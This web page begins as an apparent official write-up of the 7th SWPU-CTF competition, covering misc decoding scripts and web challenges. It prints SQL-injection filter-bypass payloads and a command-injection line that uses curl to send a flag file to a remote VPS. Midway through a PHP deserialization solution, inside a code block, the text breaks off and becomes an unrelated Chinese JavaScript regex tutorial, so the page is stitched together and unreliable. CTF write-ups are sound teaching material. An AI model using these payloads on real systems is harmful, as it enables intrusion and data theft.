整合營銷服務商

          電腦端+手機端+微信端=數(shù)據(jù)同步管理

          免費咨詢熱線:

          CTF攻略:第七屆swpu-ctf官方Writeup

          CTF攻略:第七屆swpu-ctf官方Writeup

          者:08067

          預估稿費:300RMB(不服你也來投稿啊!)

          投稿方式:發(fā)送郵件至linwei#360.cn,或登陸網(wǎng)頁版在線投稿

          比賽地址:ctf.08067.me

          misc 100-1

          http://misc.08067.me/misc4

          misc 100-1 很簡單,就是jsfuck和brianfuck兩次編碼,直接解出即可。

          Misc 100-2

          http://misc.08067.me/misc3/

          Misc 100-2題目給的是一個圖片,用winhex打開看到底部的密文

          Base32解密得到:vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}

          發(fā)現(xiàn)是凱撒加密,不過奇偶數(shù)移位方向不一樣,發(fā)現(xiàn)偏移量是16,用腳本跑一下

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25
          26
          27
          28
          29
          30
          31
          32
          33
          34
          35
          36
          37
          38
          39
          40
          41
          42
          43
          str = "vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}"
          for i in range(26):
          key = ''
          for x in str:
          s = ord(x)
          if (s not in range(97,123)) and (s not in range(65,91)):
          key = key + chr(s)
          else:
          #print chr(s)
          if s in range(97,123):
          if s % 2 == 0:
          s = s - i
          if s not in range(97,123):
          t = 97-s
          t = 123-t
          key = key + chr(t)
          else:
          key = key + chr(s)
          else:
          s = s + i
          if s not in range(97,123):
          t = s-122+96
          key = key + chr(t)
          else:
          key = key + chr(s)
          else:
          #print chr(s)
          if s % 2 == 0:
          s = s - i
          if s not in range(65,91):
          t = 65-s
          t = 91-t
          key = key + chr(t)
          else:
          key = key + chr(s)
          else:
          s = s + i
          if s not in range(65,91):
          t = s-90+64
          key = key + chr(t)
          else:
          key = key + chr(s)
          print key

          Misc 150

          http://misc.08067.me/misc2/

          打開wireshark數(shù)據(jù)包,提取http數(shù)據(jù),得到一個flag.zip,

          解壓得到一個ce.txt文件,打開發(fā)現(xiàn)是一個rgb圖片的像素點,然后用腳本還原即可。

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          from PIL import Image
          import re
          if __name__ == '__main__':
          x = 887
          y = 111
          i = 0
          j = 0
          c = Image.new("RGB", (x,y))
          file_object = open('ce.txt')
          for i in range(0, x):
          for j in range(0, y):
          line = file_object.next()
          lst = line.split(",")
          c.putpixel((i, j), (int(lst[0]), int(lst[1]), int(lst[2])))
          c.show()
          c.save("c.png")

          web 200-1

          http://web1.08067.me/

          注入,過濾了空格、#、*、union、like、regexp、and、or、|、--、&、%0a、%0b、%0c、%0d等,需要想辦法用其他操作符連接注入語句和閉合’。

          mysql操作符參考:http://blog.csdn.net/yuzongtao/article/details/45044963

          幾個可用的poc:

          1
          uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd
          1
          uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd
          1
          uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd
          1
          uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1

          來到后臺,可以執(zhí)行命令,但是對反彈shell的一些關鍵字做了過濾,對空格也做了過濾,只能通過cat讀取flag,沒又回顯,然后打到用遠程vps的日志上面

          exp:

          curl$IFS\vps:1234/`cat$IFS\../../flag`

          web 200-2

          http://web3.08067.me/

          這道題主要是考察了php底層 wakeup 的一個bug,https://bugs.php.net/bug.php?id=72663

          這道題根據(jù)tips:編輯器,可以考慮到.bak文件泄露

          通過 robots.txt 發(fā)現(xiàn)了 function.php commom.php ,

          最后找到了 function.php.bak index.php.bak

          我們就獲得了 整道題的代碼

          Index.php.bak

          我們可以看見了這里 通過 cookie 的登陸

          /function.php.bak

          其他過濾代碼 在該文件都可以得到

          addslashes_deep() 是無法繞過的,我們就只能繞過wakeup

          根據(jù)那個bug 的描述,我們直接進入 __destruct() ,這里我們?nèi)〕隽?$this->name

          $this->name 是base64decode后,然后反序列化得到的,不用考慮waf等東西

          我們看了這里只有一個 Checksql($sql)

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25
          26
          27
          28
          29
          30
          31
          32
          33
          34
          35
          36
          37
          38
          39
          40
          41
          42
          43
          44
          45
          46
          47
          48
          49
          50
          51
          52
          53
          54
          55
          56
          57
          58
          59
          60
          61
          62
          63
          64
          65
          66
          67
          68
          69
          70
          71
          72
          73
          74
          75
          76
          77
          78
          79
          80
          81
          82
          83
          84
          85
          86
          //sql 過濾
          static function CheckSql($db_string,$querytype='select')
          {
          $clean='';
          $error='';
          $old_pos=0;
          $pos=-1;
          if($querytype=='select')
          {
          $notallow1="[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
          if(preg_match("/".$notallow1."/i", $db_string))
          {
          exit("Error");
          }

          內(nèi)容是《Web前端開發(fā)之Javascript視頻》的課件,請配合大師哥《Javascript》視頻課程學習。

          正則表達式(regular expression),是一個描述字符模式的對象,其以一種簡單的方式描述或匹配一系列符合某個語法規(guī)則的字符串;

          ES使用RegExp類型來表示正則,其在String和RegExp類型都定了相關的正則方法,后者的功能更加強大;

          語法:

          直接量:var expression=/ pattern / flags;

          RegExp:構造函數(shù)var expression=new RegExp(“pattern” [, “flags”]);

          // 匹配所有包含wei的字符串
          var pattern = /wei/;     // 直接量
          var pattern = new RegExp("wei");   // 構造函數(shù)
          var str = "wangwei";
          console.log(pattern.test(str));

          正則的模式(pattern)可以是任何簡單或復雜的正則表達式,其由一個字符序列組成的,可以包含字符數(shù)字、限定符、分組、向前查找以及反向引用;

          修飾符:

          用來描述待匹配字符串的規(guī)則;其位置在 / 符號之外,或作為構造函數(shù)的第2個參數(shù);

          其支持3個標志:

          • g :表示全局(global)模式,即模式將被應用于所有字符串,而非在發(fā)現(xiàn)第一個匹配項時立即停止;
          • i :表示不區(qū)分大小寫(case-insensitive)模式,即在確定匹配項時忽略模式與字符串的大小寫;
          • m :表示多行(multiline),即在到達一行文本末尾時還會繼續(xù)查找下一行中是否存在匹配項;
          var str = "wangwei name is wangwei \r\n my WANGWEI age is 18 wangwei";
          var reg = /wangwei/;   // 一個數(shù)組對象,但只包含一個wangwei
          var reg = /wangwei/g;   // ["wangwei", "wangwei", "wangwei"]
          var reg = /wangwei/ig;   // ["wangwei", "wangwei", "WANGWEI", "wangwei"]
          var reg = /wangwei/img;  // ["wangwei", "wangwei", "WANGWEI", "wangwei"]
          console.log(str.match(reg));

          一個正則表達式就是一個模式與上述3個標志的結合體,不同組合產(chǎn)生不同結果,如:

          var pattern1 = /at/g;  // 匹配字符串中所有at的實例
          var pattern2 = /[bc]at/i; // 匹配第一個bat或cat,不區(qū)分大小寫
          var pattern3 = /.at/gi; // 匹配所有以at結尾的3個字符的組合,不區(qū)分大小寫

          另一種創(chuàng)建正則表達式的方式是使用RegExp構造函數(shù);它接收兩個參數(shù):一個是要匹配的字符串模式,另一個是可選的修飾符字符串;如:

          var pattern1 = new RegExp("[bc]at","i");

          也可以不使用new操作符,其等同于new RegExp();但如果pattern參數(shù)是一個正則表達式時有所不同,它只是簡單地返回pattern,而不會創(chuàng)建一個新的RegExp對象,但如果使用了不同的修飾符,就會返回新的RegExp對象:

          var re = new RegExp(".at","g");
          newre = RegExp(re);     // true
          newre = RegExp(re,"i");  // false
          console.log(re === newre);

          RegExp構造函數(shù)最大的特點是可以動態(tài)的創(chuàng)建正則表達式,這種情況往往用在:沒辦法通過寫死在正則直接量中;

          for(var j=0;j<arr.length; j++){
                  arrStr[i] = arrStr[i].replace(arr[j],"**");
          // var reg = new RegExp(arr[j],"img");
                 // arrStr[i] = arrStr[i].replace(reg,"**");
              }

          轉義符:如果模式中用到特殊字符(元字符),包括非字母字符,必須使用轉義 \ ,包括\自身:

          如果使用RegExp構造函數(shù),轉換符必須使用雙 \ ,即 \:

          var str = "wangwei name is [wangwei] \r\n my WANGWEI age is 18 wangwei";
          var reg = /wangwei/img;    // ["wangwei", "wangwei", "WANGWEI", "wangwei"]
          var reg = /\[wangwei\]/img;  // ["[wangwei]"]
          var reg = new RegExp("\\[wangwei\\]", "img");  // ["[wangwei]"]
          console.log(str.match(reg));

          有關特殊字符(元字符)還有很多,后面會講到。

          精確匹配:

          正則表達式中,出現(xiàn)了什么字符,就匹配什么字符,如/zero/,表示zero必須出現(xiàn)在字符串中,才能匹配。

          這種和查找替換子字符串沒有什么區(qū)別,很不靈活。

          元字符:

          元字符是正則表達式擁有特殊含義的字符,即是正則表達式語法的一部分,其包括:

          ^ $ . * + ?=! : | \ / ( ) [ ] { } (15個)

          這些元字符在正則表達式中都有一或多種特殊用途,某些符號只有在正則的某些上下文中才具有某種特殊含義,在其他上下文中則被當作直接量處理;然而,任何時候,如果要使用這些特殊字符進行匹配,都必須進行轉義。

          如:var re=/\?/; 或者:var re=new RegExp(“\?”); (雙重轉義)

          var pattern1 = /[bc]at/i;  // 匹配第一個bat或cat,不區(qū)分大小寫
          var pattern2 = /\[bc\]at/i; // 匹配第一個[bc]at,不區(qū)分大小寫
          var pattern3 = /.at/gi; // 匹配所有以at結尾的3個字符的組合,不區(qū)分大小寫
          var pattern4 = /\.at/gi; // 匹配所有.at,不區(qū)分大小寫

          注:其他標點符號沒有特殊含義,可以直接當作字面量進行匹配;如果記不住這些特殊符號,可以為每個標點符號前都加上反斜杠;另外,許多字母和數(shù)字在有反斜杠做前綴時也有特殊含義。

          使用特殊字符:

          可以直接使用字符表示它們本身,但也可以使用它們的ASCII或者Unicode代碼來指定字符;要使用ASCII來表示一個字符,則必須指定一個兩位的十六進制代碼,并在前面加上\x

          也可以使用八進制代替十六進制來指定字符;

          如果要使用Unicode來表示,必須指定字符串的四位的十六進制\uxxxx

          var sColor = "blue";// b的ASCII為98, 等于十六進制62,因此b可以用\x62
          var re = /\x62/;    // 16進制
          var re = /\142/;    // 8進制
          var re = /\u0062/;  // Unicode
          console.log(re.test(sColor));

          其他特殊字符:

          \o NUL字符(\u0000)、 \t 制表符(\u0009)、 \n 換行符(\u000A)、 \v 垂直制表符(\u000B)、 \f 換頁符(\u000C)、 \r 回車符(\u000D)、 \b 回退字符、 \a alert 字符、 \e escape字符、 \xnn由16進制數(shù)nn指定的拉丁字符,如:\x0A等價于\n、 \uxxxx由16進制數(shù)xxxx指定的Unicode字符,如:\u0009等價于\t、 cX與X相對應的控制字符,如,\cJ等價于換行符\n。

          <textarea id="txt"></textarea>
          <textarea id="result"></textarea>
          <p id="myp"></p>
          <input type="button" onclick="show()" value="提交" />
          <script>
          function show(){
              var str = document.getElementById("txt").value;
              var re = /\n/g;
              str = str.replace(re, "\n");  // 保存在數(shù)據(jù)中
              document.getElementById("result").value = str;
              str = str.replace(re, "<br/>");  // 顯示在頁面中
              document.getElementById("myp").innerHTML = str;
          }

          預定義字符:

          也稱為字符類;一個字符類可以匹配它所包含的任意字符;由于某些模式會反復用到,所以提供了一些預定義字符來提高匹配的效率;

          • .點 等同于[^\n\r], 除了換行符和回車之外的任意字符
          • \d 等同于[0-9], 數(shù)字(ASCII數(shù)字)
          • \D 等同于[^0-9], 非數(shù)字字符(除了ASCII數(shù)字之外的任何字符)
          • \s 等同于[ \t\n>\s 等同于[ \t\n\0B\f\r], 空白字符(任何Unicode空白符)
          • \S 等同于[^ \t\n>\S 等同于[^ \t\n\0B\f\r], 非空白字符(任何非Unicode空白符的字符),注:和\w不同
          • \w 等同于[a-zA-Z0-9_], 單詞字符(即ASCII字符,包括所有字母,所有數(shù)字和下劃線)
          • \W 等同于[^a-zA-Z0-9_],非單詞字符(任何不是ASCII字符)
          • [\b] ,退格直接量(特例)
          • var str = "567 9838 zeronetwork 王唯";
            var re = /./gi;
            var re = /\d/gi;
            var re = /\d\d\d/gi;
            var re = /\D/gi;
            var re = /\s/gi;
            var re = /\S/gi;
            var re = /\w/gi;
            var re = /\W/gi;
            console.log(str.match(re));

            注:以上的字符指的是ASCII字符,非Unicode字符

            范圍:

            通過將一些字符放入方括號中,表示要匹配的范圍;

            • 簡單范圍:形如:/[acf]at/g
            • 排除范圍:使用^(脫字符號),用來定義否定字符類,必須出現(xiàn)在[ 之后,匹配所有不包含在方括號內(nèi)的字符,形如:/[^acf]at/
            • 連續(xù)范圍:使用 – 連字符表示一個連續(xù)范圍,如:[a-z], [0-9] ,[^1-4]
            • 組合范圍:形如:[a-m1-4\n]
            var str = "a bat, a Cat, a fAt baT, a faT, a faT cat";
            var re = /[bcf]at/gi;  //["bat", "Cat", "fAt", "baT", "faT", "faT", "cat"]
            var re = /[\u0062cf]at/gi;  //["bat", "Cat", "fAt", "baT", "faT", "faT", "cat"]
            var re = /[^bc]at/gi;  //["fAt", "faT", "faT"]
            console.log(str.match(re));
             
            var str = "num1, num2, num3, num4, num5, num6, num7, num8, num9";
            var re = /num[1-4]/gi;
            console.log(str.match(re));  // ["num1", "num2", "num3", "num4"]
             
            var str = "567 9838 abc";
            var re = /[0-9][0-9][0-9]/gi;   // ["567", "983"]
            var re = /[0-9]{3}/gi;  // ["567", "983"]
            console.log(str.match(re));

            注:有些字符類轉義字符只能匹配ASCII字符,還沒有擴展到可以處理Unicode字符,但可以通過十六進制表示法來顯式定義Unicode字符類,如:/[\u0400-\u04FF]/ 用以匹配所有Cyrillic字符(斯拉夫語)

            量詞(重復):

            量詞就是指定某個特定模式出現(xiàn)的次數(shù);(如,可以把兩位數(shù)字描述為/\d\d/,四位數(shù)描述為/\d\d\d\d/,那一千位呢?);

            在正則模式之后跟隨用以指定字符重復的標記,即量詞;如{4}表示重復4次;

            當指定某個模式應當出現(xiàn)的次數(shù)時,可以指定硬性數(shù)量(如:{3}表示某個字符應該出現(xiàn)三次),也可以指定軟性數(shù)量(如:+表示某個字符至少出現(xiàn)一次,可以重復任意次);

            量詞:

            • {n} :匹配n次
            • {n, m} :匹配至少n次,但不超過m次
            • {n, } :匹配至少n次
            • ? :匹配0次或1次,等價于{0, 1}
            • * :匹配0次或多次,等價于{0, }
            • + :匹配1次或多次,等價于{1, }
            var str = "wangwei age is 18, (birthday) is 1998 year. jing123 age is";
            var re = /\d{2,4}/g;  // ["18", "1998"]
            var re = /\w{4}\d?/g;
            var re = /\s+age\s+/g; // [" age ", " age "]
            var re = /[^(|)]*/g;   // 匹配非左括號或右括號的字符
            console.log(str.match(re));

            貪婪與非貪婪:

            var str = "wwwwww";
            var re = /w{2,4}/;
            console.log(str.match(re));  // wwww
            var str = "wangwei";
            var re = /\w+/;
            console.log(str.match(re));  // wangwei

            以上匹配的特點是:盡可能多地匹配;這種匹配稱為“貪婪”匹配;

            貪婪量詞的原理:先看整個字符串是否匹配,如果沒有發(fā)現(xiàn)匹配,它去掉該字符串中的最后一個字符,并再次嘗試,如果還沒有發(fā)現(xiàn)匹配,那么再去掉最后一個字符,這個過程一直重復到發(fā)現(xiàn)一個匹配或者字符串不剩下任何字符;

            與貪婪對應的就是非貪婪,稱為惰性方式,只需要在量詞的后面跟隨一個?問號即可,如:??、+?、*?或{1,5}?;如:修改上例;

            惰性量詞的原理:先看字符串中的第一字母是否匹配,如果不匹配,再讀出下一字符,一直繼續(xù),直到發(fā)現(xiàn)匹配或者整個字符串都檢查過出沒有匹配,與貪婪工作方式相反;

            支配量詞:只嘗試匹配整個字符串;如果整個字符串不匹配,就不做進一步嘗試;(已不被支持)

            貪婪與惰性和支配量詞說明:

            • 貪婪:? * + {n} {n,m} {n, }
            • 惰性:?? *? +? {n}? {n,m}? {n, }?
            • 支配:?+ *+ ++ {n}+ {n,m}+ {n, }+
            var str = "wwwww";
            var re = /w{1,}/;    // wwwww
            var re = /w{1,}?/;    // w
            console.log(str.match(re));
            var str = "abbbaabbbaaabbb1234";
            var re = /.*bbb/g;  // "abbbaabbbaaabbb"
            var re = /.*?bbb/g;  // ["abbb", "aabbb", "aaabbb"]
            console.log(str.match(re));

            使用非貪婪模式所得到的結果可能和期望并不一致:

            var str = "aaab";
            var re = /a+b/;  // aaab
            var re = /a+?b/;  // aaab
            console.log(str.match(re));

            復雜模式:表達式還可以由分組,反向引用,前瞻和其他一些強大的正則表達式功能組成;

            候選:

            候選就是用“|”來表示的模式或關系,它表示的是在匹配時可以匹配“|”的左邊或右邊。這個“|”相當于“或”。

            var str = "i like colors:red black";
            var re = /red|black|green/;  // red
            console.log(str.match(re));  
             
            var re = /jpg|png|gif/;
            console.log(re.test("xxx.jpg"));
             
            var str = "wang is 18 age."
            var re = /\d{2}|[a-z]{4}/;   // wang
            console.log(str.match(re));

            候選項的嘗試匹配次序是從左到右,直到發(fā)現(xiàn)了匹配項;如果左邊的選擇項匹配,就忽略右邊的匹配項,即使它會產(chǎn)生更好的匹配,如:

            var str = "abcde";
            var re = /a|ab/;   // a 只會匹配一個a
            console.log(str.match(re));

            候選結合replace() 方法 主要用在從用戶輸入刪除不合適的單詞;

            var str = "你媽的他媽的不是東西,都是壞蛋!";
            var re = /壞蛋|你媽的|他媽的/gi;
            var newStr = str.replace(re,"****");
            console.log(newStr);
            var newStr = str.replace(re,function(sMatch){
                return sMatch.replace(/./g, "*");
            });
            console.log(newStr);

            分組(捕獲組):

            通過用一對圓括號,可以把單獨的項組合成子表達式;

            var str = "wangwei1998";
            var re = /[a-z]+(\d+)/;
            console.log(str.match(re));

            為什么需要分組:

            它是一個組合項或子匹配,可作為一個單元,統(tǒng)一操作;如可以統(tǒng)一使用|、*、+等進行處理。

            可以把分組匹配的結果單獨抽取出來以備后用;

            var str = "javascript";
            var re = /java(script)?/;  // true script可有可無
            console.log(re.test(str));
             
            var str = "dogdogdog";
            var re = /(dog){3}/;
            console.log(str.match(re));
             
            // 只關心匹配尾部的數(shù)字,把它單獨提取出來
            var str = "京A88888";
            var re = /.{2}(\d+)/;
            var arr = re.exec(str);
            console.log(arr);
            console.log(arr[1]);

            還可以嵌套分組:

            var str = "zeronetwork";
            var re = /(zero(net(work)))/;
            console.log(str.match(re));

            反向引用:

            每個分組都被存放在一個特殊的地方以備將來使用,這此分組也稱為捕獲組,這些存儲在分組中的特殊值,稱之為反向引用;即允許在同一正則表達式的后部引用前面的子表達式;其是通過在字符“\”后加一位或多數(shù)數(shù)字實現(xiàn)的,該數(shù)字指定了分組的子表達式的在正則中的位置:

            var str = "god godod gododod godododod";
            var re = /g(od)\1*/g;
            console.log(str.match(re));

            由于分組可以嵌套,所以反向引用是按照從左到右遇到的左括號的順序進行創(chuàng)建和編號的,如 (A?(B?(C?))) 1.(A?(B?(C?))) 2.(B?(C?)) 3. (C?):

            var str = "aaabbccbb aaabbccbb";
            var re = /(a+(b+))(c)\3\2\s\1/;
            console.log(str.match(re));

            對分組的引用,并不是對分組表達式的引用,而是對分組模式相匹配的文本的引用;再如:

            // 匹配單引號與雙引號之間的字符
            var str = 'wangwei \'is" "18 old", he is \'good\' man';
            var re = /['"][^'"]*['"]/g;  // 不要求引號的匹配
            var re = /(['"])[^'"]*\1/g;  // 不要求引號的匹配
            console.log(str.match(re));

            反向引用的情景:通常用來處理相同連續(xù)的內(nèi)容,如:

            // 匹配連續(xù)相同的三個數(shù)字
            console.log("111a222b333c123d".match(/(\d)\1\1/ig));// ["111", "222", "333"]
            console.log("111a222b333c123d".match(/(\d)\1{2}/ig));//["111", "222", "333"]
            // 不同點,這是匹配3個數(shù)字,而不是相同的數(shù)字
            console.log("111a222b333c123d".match(/(\d){3}/ig)); // ["111", "222", "333", "123"]
            //匹配ABAB格式的數(shù)字,如:1212或3434
            console.log("1212a3434b4545c123d".match(/(\d)(\d)\1\2/g)); // ["1212", "3434", "4545"]
            // 匹配ABBA格式的數(shù)字,如:1221或3443
            console.log("1221a3443b4554c123d".match(/(\d)(\d)\2\1/g)); //["1221", "3443", "4554"]
            // 檢索html標記及內(nèi)容
            var html = '請訪問:<a href="https://www.zeronetwork.cn">zeronetwrok</a>網(wǎng)站';
            var reg = /<(\w+)[\s]*.+?>(.*)<\/\1>/ig;
            console.log(html.match(reg));

            反向引用幾種使用方法:

            使用正則表達對象的test(), match(), search()方法后,反向引用的值可以從RegExp構造函數(shù)中獲得;

            var str = "#123456789";
            var re = /#(\d+)/;
            re.test(str);
            console.log(RegExp.$1);  // 123456789
            // 去重
            var str = "aaaabbbbbbbcccccc";
            var re = /(\w)\1*/g;
            console.log(str.replace(re, "$1"));  // abc
            // 格式化輸出
            var str = "1234 5678";
            var re=/(\d{4}) (\d{4})/;
            var newStr = str.replace(re, "$2 $1");  // 5678 1234
            console.log(newStr);

            非捕獲性分組:

            反向引用,稱為捕獲性分組;如果只需要組合,不需要反向引用,則可以使用非捕獲性分組;

            在較長的正則表達式中,存儲反向引用會降低匹配速度;

            非捕獲性分組:在左括號的后面加一個問號和一個緊跟的冒號,如:(?: );此時,使用\n就訪問不了捕獲組了。

            var str = "zeronetwork";
            var re = /(?:net)/;
            console.log(str.match(re));
            console.log(RegExp.$1);  // 空
            // 刪除HTML標識
            String.prototype.stripHTML = function(){
                var re = /<(?:.|\s)*?>/g;
                return this.replace(re,"");
            };
            var str="<a href=#><b>零點程序員</b></a>";
            document.write(str + "<br>");
            document.write(str.stripHTML());

            邊界:

            邊界(bounday):用于正則表達式中表示模式的位置;也稱為匹配表達式的錨:

            • ^ :匹配字符串的開頭,在多行中,匹配行開頭;
            • $ :匹配字符串的結尾,在多行中,匹配行結尾;
            • \b :匹配單詞的邊界,即位于字符\w和\W之間的位置,或位于字符\w和字符串的開頭或者結尾之間;
            • \B :匹配非單詞的邊界的位置;
            var str = "JavaScript";  // JavaScript
            var str = "JavaScript Code";  // null
            var re = /^JavaScript$/;  // 如果不使用$,使用\s也可以,但是包含了空格
            console.log(str.match(re));
             
            var str = "Study Javascript Code. JavaScripter is good";
            var re = /Java[sS]cript/g;  // ["Javascript", "JavaScript"]
            var re = /\bJava[sS]cript\b/g;  //  ["Javascript"]
            var re = /\bJava[sS]cript\B/g;  //  ["JavaScript"]
            var re = /\B[sS]cript/g;  //  不會匹配單獨的script或Script
            console.log(str.match(re));
             
            var str = "wangwei is good man";
            var re = /(\w+)$/;  // man
            re.test(str);
            console.log(RegExp.$1);
            var re = /^(\w+)/;  // wangwei
            re.test(str);
            console.log(RegExp.$1);
            var re = /^(.+?)\b/;    // wangwei
            re.test(str);
            console.log(RegExp.$1);
            var str = "First second third fourth fifth sizth";
            var re = /\b(\S+?)\b/g;
            var re = /\b(\w+)\b/g;
            var arr = str.match(re);
            console.log(arr);

            前瞻(先行斷言):

            前瞻(lookahead) :是指檢查接下來出現(xiàn)的是不是位于某個特定字符之前;分為正向和負向;

            正向前瞻要將模式放在(?=和 )之間,如:(?=p);要求接下來的字符都與p匹配,但不能包括匹配p的那些字符;也稱為正向先行斷言;

            負向前瞻:將模式放到(?! 或 ) 之間,如:(?!p);要求接下來的字符不與p匹配;也稱為負向先行斷言;

            注:雖然用到括號,但這不是分組;JS不支持后瞻,后瞻可以匹配,如:匹配b且僅當它前面沒有a;

            var str1 = "bedroom Bedding";
            var re = /([bB]ed(?=room))/;   // bed
            var re = /([bB]ed(?!room))/;   // Bed
            console.log(str1.match(re));
            console.log(RegExp.$1);
             
            var str = "Javascript: function is simple javascript.";
            var re = /[jJ]avascript(?=:)/g;  // Javascript 后面有冒號才匹配
            var re = /[jJ]avascript(?!:)/g;  // javascript 后面沒有冒號才匹配
            console.log(str.match(re));
             
            var str = "JavaScript Javascript JavaBeans javascripter";
            var re = /[jJ]ava(?=[sS]cript)/g;  // ["Java", "Java", "java"]
            var re = /[jJ]ava(?![sS]cript)/g;  // Java
            var re = /[jJ]ava(?![sS]cript)\w+/g;  // JavaBeans
            console.log(str.match(re));
             
            // 添加千分位
            var str = "錢:1234567890123";
            var re = /(?=(\B)(\d{3})+$)/g;
            console.log(str.match(re));
            console.log(str.replace(re, ","));

            多行模式:

            要指定多行模式,需要指定m選項,如果待匹配字符串包含多行,那么^與$錨字符除了匹配整個字符串的開始和結尾之外,還能匹配每行的開始和結尾;

            var str = "wangwei is\ntechnical director\nof zeronetwork";
            var re = /(\w+)$/g;  // zeronetwork
            var re = /(\w+)$/gm;  // ["is", "director", "zeronetwork"]
            console.log(str.match(re));
             
            var re = /^(\w+)/g;  // wangwei
            var re = /^(\w+)/gm;  // ["wangwei", "technical", "of"]
            console.log(str.match(re));
             
            var re = /^(.+)$/g;  // null 如果待匹配字符串中有換行,如果不使用m,則結果為null
            console.log(str.match(re));

            RegExp實例屬性:

            RegExp的每個實例都具有下列屬性,通過這些屬性可以取得有關模式的各種信息;

            1. global:只讀,布爾值,表示是否設置了g標志
            2. ignoreCase:只讀,布爾值,是否設置了i標志
            3. multiline:只讀,布爾值,是否設置了m標志
            4. lastIndex:可讀寫,整數(shù),如果模式帶有g,表示開始搜索下一個匹配項的字符位置,從0起;該屬性一般會在exec()和test()中用到;
            5. source:只讀,正則表達式的字符串表示,按照字面量形式而非傳入構造函數(shù)中的字符串模式返回;但不包含修飾符;
            var str = "wangwei name is Wangwei \r\n WANGWEI age is 18 wangwei";
            var reg = /Wangwei/img;
            console.log("g:" + reg.global + ",i:" + reg.ignoreCase + ",m:" + reg.multiline);
            console.log("s:" + reg.source);
            reg.test(str);
            console.log(reg.lastIndex);
             
            var pattern = new RegExp("wangwei","img");
            console.log("g:" + reg.global + ",i:" + reg.ignoreCase + ",m:" + reg.multiline);
            console.log("s:" + reg.source);
            reg.lastIndex = 0;
            reg.test(str);
            console.log(reg.lastIndex);

            RegExp實例方法:

            繼承的方法:

            toLocaleString()和toString()方法,是RegExp實例繼承的方法,其都會返回正則表達式的字面量,與正則表達式的方式無關,如:

            var pattern = new RegExp("\\[bc\\]]at","gi");
            alert(pattern.toString());  // /\[bc\]]at/gi
            alert(pattern.toLocaleString()); // /\[bc\]]at/gi

            說明:即使是通過RegExp構造函數(shù)創(chuàng)建的,但toLocaleString()和toString()方法仍然會像它以字面量的形式返回;

            正則表達式的valueOf()方法返回正則表達式本身;

            alert(pattern.valueOf());  // /\[bc\]]at/gi

            RegExp對象定義了兩個用于執(zhí)行模式匹配操作的方法;它們的行為與String類中的與模式相關的方法很類似;

            test()方法:

            測試目標字符串與某個模式是否匹配,接受一個字符串參數(shù),如果匹配返回true,否則返回false,該方法使用非常方便,一般被用在if語句主,如:

            var pattern = /zero/i;
            console.log(pattern.test("Zeronetwork")); // true
             
            var text = "000-00-0000";
            var pattern = /\d{3}-\d{2}-\d{4}/;
            if (pattern.test(text)){
                alert("匹配");
            }

            exec()方法:

            是RegExp對象最主要的方法,該方法是專門為捕獲組而設計的;

            其會接受一個參數(shù),即要應用模式的字符, 會返回第一個匹配項信息的數(shù)組(就像String類的match()方法為非全局檢索返回的數(shù)組一樣);如果沒有匹配成功,返回null;在數(shù)組中,第一項是與整個模式匹配的字符串,其他項是與模式中的捕獲組匹配的字符串(如果模式中沒有捕獲組,該數(shù)組只包含一項);

            返回的雖然為Array實例,但包含兩個額外的屬性:index和input;index表示匹配項在字符串中的位置,而input表示應用正則表達式的字符串;

            var text = "mom and dad and baby";
            var pattern = /mom( and dad( and baby)?)?/gi;
            var arr = pattern.exec(text);
            console.log(arr);  // mom and dad and baby, and dad and baby, and baby
            console.log(arr.index);  // 0
            console.log(arr.input);  // mom and dad and baby
            console.log(arr[0]);  // mom and dad and baby
            console.log(arr[1]);  // and dad and baby
            console.log(arr[2]);  // and baby

            對于exec(),不管有沒有設置全局標志,其每次也只會返回一個匹配項;在不設置全局標志情況下,在同一個字符串上多次調用exec() 將始終返回第一個匹配項的信息。而設置全局標志的情況下,每次調用exec()則都會在字符串中繼續(xù)查找新匹配項,會將當前正則對象的lastIndex屬性設置為緊挨著匹配子串的字符位置,為下一次執(zhí)行exec()時指定檢索位置;如果exec()沒有匹配結果,lastIndex被重置為0;

            var text = "cat, bat, sat, fat";
            var pattern = /.at/;  // 沒有使用g全局
            var pattern = /.at/g;  // 使用g全局
            var matches = pattern.exec(text);
            console.log(matches);
            console.log("match:"+matches[0]+",index:" + matches.index + ",lastIndex:" + pattern.lastIndex);
            // 再一次執(zhí)行,使不使用g,結果不一樣
            matches = pattern.exec(text);
            console.log(matches);
            console.log("match:"+matches[0]+",index:" + matches.index + ",lastIndex:" + pattern.lastIndex);
            // 再一次執(zhí)行,使不使用g,結果不一樣
            matches = pattern.exec(text);
            console.log(matches);
            console.log("match:"+matches[0]+",index:" + matches.index + ",lastIndex:" + pattern.lastIndex);

            注:IE的lastIndex屬性有偏差,即使在非全局模式下,lastIndex屬性每次也會有變化;

            使用test()與exec()是等價的,當exec()的結果不是null,test()返回true時,它們都會影響模式的lastIndex()屬性,當然是在全局下;如此,也可以使用test()遍歷字符串,就跟exec()一樣,如:

            var text = "cat, bat, sat, fat";
            var pattern = /.at/g;
            console.log(pattern.test(text));
            console.log(pattern.lastIndex);
            console.log(pattern.test(text));
            console.log(pattern.lastIndex);
            // 一直調用4次,test()就會返回false
            // 遍歷
            var text = "cat, bat, sat, fat";
            var pattern = /.at/g;
            while(pattern.test(text)){
                console.log(pattern.lastIndex);
            }

            lastIndex屬性是可讀寫的,可以在任何時候設置它,以便定義下一次搜索在目標字符串中的開始位置;exec()和test()在沒有找到匹配項時會自動將lastIndex設置為0;如果在一次成功的匹配之后搜索一個新的字符串,一般需要顯式地把這個屬性設置為0;

            var text = "cat, bat, sat, fat";
            var pattern = /.at/g;
            console.log(pattern.exec(text));
            console.log(pattern.lastIndex);
            // 匹配新的字符串
            var str = "gat,good,pat";
